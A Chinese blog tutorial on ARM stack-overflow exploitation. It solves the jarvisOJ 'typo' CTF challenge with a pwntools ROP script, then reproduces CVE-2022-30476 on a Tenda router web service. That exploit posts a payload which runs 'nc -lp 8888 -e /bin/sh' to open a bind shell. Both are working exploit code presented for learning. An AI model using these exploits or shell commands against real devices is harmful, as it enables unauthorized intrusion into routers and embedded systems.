<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ARM PWN基礎教程

    上官雨寶2022-07-27 17:29:43

    ARM PWN基礎教程

    一、前言

     在CTF比賽中,我們所能接觸到的大部分都是x86 x86_64架構的題目,而在我開始接觸IOT方向的研究以后發現智能設備所用到的則是ARM和MIPS架構為主。本篇文章在介紹前置知識的基礎上通過CTF的ARM架構類型題帶讀者更好的入門ARM PWN的世界。

    二、前置知識

    指令集

     Intel和ARM之間的區別主要是指令集,Intel采用復雜指令集而ARM則是精簡指令集,精簡指令集通過減少每條指令的時鐘周期來縮短執行時間可以更快的執行指令,但因為指令較少因此在實現功能時會顯得比Intel冗長。

    寄存器

     寄存器是ARM架構的一個重點,在x86架構上指令可以直接對內存的數據進行操作,而在ARM架構中必須將內存的數據放入寄存器中再進行操作。而寄存器的數量取決于ARM的版本,而ARM32架構下共30個寄存器:

    ?R0在常規操作中可用于存儲臨時值,也可以用于存儲函數的第一個參數或返回結果
    ?在ARM架構中約定指定函數前四個參數存儲在R0~R3寄存器中
    ?R7寄存器在函數調用中負責存儲系統調用號
    ?R11寄存器即可以用來記錄回溯信息,也可以當做局部變量來使用
    ?R13寄存器SP(堆棧指針)指向堆棧的頂部
    ?R14寄存器LR(鏈接寄存器)在進行函數調用時,LR寄存器內保存調用函數的下一條指令地址,用于被調用函數(子函數)結束工作后返回調用函數(父函數)
    ?R15寄存器PC(程序計數器)類似于X86架構下的EIP寄存器負責保存目標地址,與x86不同的點在于PC在ARM狀態下存儲當前指令+8的地址。
    

    ARM指令

    這里引用 eack師傅在ARM基礎知識PPT中所列出指令的表格,在有了X86架構的基礎后去看下面這些指令還是很好理解的。

     這里需要單獨介紹一下LDR和STR兩個指令

    ?LDR用于將某些內容從內存加載到寄存器中,例如LDR R2, [R0]從R0寄存器中存儲的內存地址的值讀入R2寄存器

    ?STR用于將某些內容從寄存器存儲到內存地址中,例如STR R2, [R1]從R2寄存器中將值存儲到R1寄存器中的內存地址中

    三、例題講解

     這里以jarvisoj 的 typo 例題進行講解,題目可通過下方鏈接獲得

    https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo
    

    查看題目保護,arm-32-little架構的靜態鏈接文件未開啟PIE和Canary保護,存在NX保護無法同時寫入shellcode來getshell

    amalll@A-M:~/AM$ checksec pwn
    [*] '/home/amalll/AM/pwn'
        Arch:     arm-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8000)
    amalll@A-M:~/AM$ file pwn
    pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
    

    因為程序去除了符號表的關系,我們可以使用rizzo插件來恢復符號表,可以從程序中發現system和/bin/sh等關鍵信息地址,同時在跟隨程序流程注意到一處很明顯的棧溢出漏洞,getshell所需的條件都滿足了。

    這邊的利用思路就是通過棧溢出漏洞覆蓋程序的返回地址,在ARM架構下是覆蓋要POP給PC寄存器的地址值,覆蓋為一段可以同時控制R0和PC寄存器的GADGET,因為在ARM架構下函數約定R0寄存器作為函數的第一個參數存儲,所以我們可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函數的地址,即可GetShell。

    +-------------+
    | "a" * 112   |
    +-------------+
    | pop_gadget  | <- return address
    +-------------+
    |   /bin/sh   |
    +-------------+
    |     0       |
    +-------------+
    | system_addr |
    +-------------+
    

    思路確定后,接下來就是具體的實現步驟,首先是棧溢出的偏移是多少,這里我們可以使用QEMU配合gdb-multiarch來得到棧溢出的偏移,首先用qemu-user啟動二進制程序

    qemu-arm-static -g 1234 -L . ./pwn

     然后啟動gdb-multiarch,執行遠程連接命令即可開始動調,后面的操作方式和x86架構的相同,使用cyclic生成過長字符然后通過溢出覆蓋字符串確定偏移

    最后確定偏移為112,這里需要注意的是在ARM架構中如果跳轉的地址為奇數時會進入Thumb模式,進入Thumb模式后地址的最低位會從1變成0,所以如果通過此方法算出的地址值有錯誤時,可以通過查看$cpsr寄存器的低第六位值是否為1來判斷程序是否發生模式切換,而此處程序并未發生模式切換,所以最終我們的偏移就是112。

    確定了偏移后,還需要一個可以同時可以控制R0和PC的gadget,這里使用ropper在程序中搜索到如下的一段gadget

    0x00020904: pop {r0, r4, pc};

    EXP

    from pwn import *
    p = process(['qemu-arm-static',"-L", "./", "./pwn"])
    pop_r0_r4_pc = 0x00020904
    system = 0x000110B4
    sh = 0x006C384
    payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
    p.sendafter("Input ~ if you want to quit", "\n")
    p.send(payload)
    p.interactive()
    

    四、實戰演示

    這邊以CVE-2022-30476為例進行實戰arm棧溢出利用演示,關于固件仿真的部分內容在復現Tenda 2018年的cve漏洞時就有所介紹這邊就不過多贅述,這邊還是以實際情況的漏洞復現為主。

    web服務在獲取firmwallEn參數時未進行邊界檢測直接將參數值通過strcpy函數賦予dest變量,從而造成棧溢出漏洞。

    我們通過cyclic測得棧溢出偏移為44,這里就涉及到我們剛才所說的Thumb模式切換的問題,實際的溢出偏移應為48。

    隨后我們可以使用vmmap命令查看qemu-user的內存布局,可以得到libc庫的基地址。

    這邊需要特別說明一下,新版本的pwndbg中關于qemu的兼容性較差,所以只能采用舊版本的插件進行內存布局查看。

    與我們在ctf例題中所闡述的ROP構造思路相同,這里也是需要尋找能同時控制r0和pc兩個寄存器的gadget,很幸運的是此次尋找的gadget并未以\x00結尾

     湊齊所有的利用條件后,編寫EXP對webserver服務進行棧溢出攻擊

    import requests
    from pwn import *
    url = 'http://192.168.2.1/goform/SetFirewallCfg'
    libc = ELF("./lib/libc.so.0")
    base = 0xff592000
    system = base+libc.sym['system']
    pop_r0_pc = base+0x0003db80 # pop {r0, pc};
    stack = 0xfffef2c0
    pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
    pl+= 'nc -lp 8888 -e /bin/sh;\x00'
    data = {'firewallEn':pl}
    requests.post(url, data=data)
    

    五、參考鏈接

    https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7
    https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/
    

    文章轉自公眾號: 合天網絡安全

    arm狀態寄存器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    ARM PWN基礎教程
    2022-07-27 17:29:43
    在CTF比賽中,我們所能接觸到的大部分都是x86 x86_64架構的題目,而在我開始接觸IOT方向的研究以后發現智能設備所用到的則是ARM和MIPS架構為主。本篇文章在介紹前置知識的基礎上通過CTF的ARM架構類型題帶讀者更好的入門ARM PWN的世界。
    交互式反匯編器,簡稱為IDA。是目前最棒的一個靜態反編譯軟件,為眾多0day世界的成員和ShellCode安全分析人士不可缺少的利器!此章節讓我們熟悉通過IDA修改參數、函數、返回值,同時詳細解讀標志位的概念,熟悉堆棧及詳細解讀ARM三級流水線概念和ARM編碼編譯為二進制的全過程。
    Thumb匯編指令的細節
    匯編語言是一種用于電子計算機、微處理器、微控制器或其他可編程器件的低級語言,亦稱為符號語言。Smali匯編基礎Smali語言最早是由JesusFreke發布在Google Code上的一個開源項目,并不是擁有官方標準的語言。因此也將Smali語言稱作Android虛擬機的反匯編語言。基本類型Smali基本數據類型中包含兩種類型,原始類型和引用類型。而在Smali中則是以LpackageName/objectName的形式表示對象類型。
    因此,探尋新的應對新型安全威脅的方法成為當前各機構的研究熱點。為應對新型病毒和木馬的安全威脅,行業內通常采用安全模塊擴展技術。的主要安全目標是防止敏感數據的完整性和機密性遭到破壞。當 REE 執行時,CPU 狀態寄存器以及總線信號中的對應位會置 1,安全內存和安全設備不再接受 CPU 的訪問請求。TEE 使用快速中斷請求,REE 使用中斷請求。
    此外,寄存器變化上下限、Block變化上下限以及2個塊之間的變化限制都可以作為MILP修正的依據對波形分類進行修正。其中ML選擇了MLP模型,共使用了2362000條波,MILP采用的是Gurobi,SMT采用的是Z3。
    專家指出,只有通過重新設計電路才能解決此問題,但是好消息是該漏洞的嚴重性非常低,并且不會造成重大的安全風險,因為還有其他一些泄漏數據的渠道。M1RACLES漏洞允許在同一設備上運行的兩個應用通過CPU級別的秘密通道交換數據,而無需使用內存,套接字,文件或任何其他常規操作系統功能。這使進程可以交換任意數量的數據,而僅受CPU開銷的約束。專家不了解此寄存器的用途,但他認為EL0尚未被有意訪問。
    虛擬機管理器使用這個接口來啟動虛擬機,并執行正常的虛擬機活動。該證明由AMD和平臺所有者共同簽署。啟動認證則是向虛擬機所有者證明啟動過程時安全的,SEV固件向虛擬機所有者提供與SEV相關的虛擬機狀態的簽名,以驗證虛擬機是否處于預期狀態。因此SEV可以用于創建安全的沙盒執行環境,目前比較典型的應用便是將SEV與Kata容器相結合成為機密容器。
    大廠基本為了程序的安全,會使用大量內聯SVC去調用系統函數,以此來保護程序的安全。如何實現SVC指令的IO重定向,成為最大的問題。內核態是當Linux需要處理文件,或者進行中斷IO等操作的時候就會進入內核態。當arm系列cpu發現svc指令的時候,就會陷入中斷,簡稱0x80中斷。
    上官雨寶
    是水水水水是
      亚洲 欧美 自拍 唯美 另类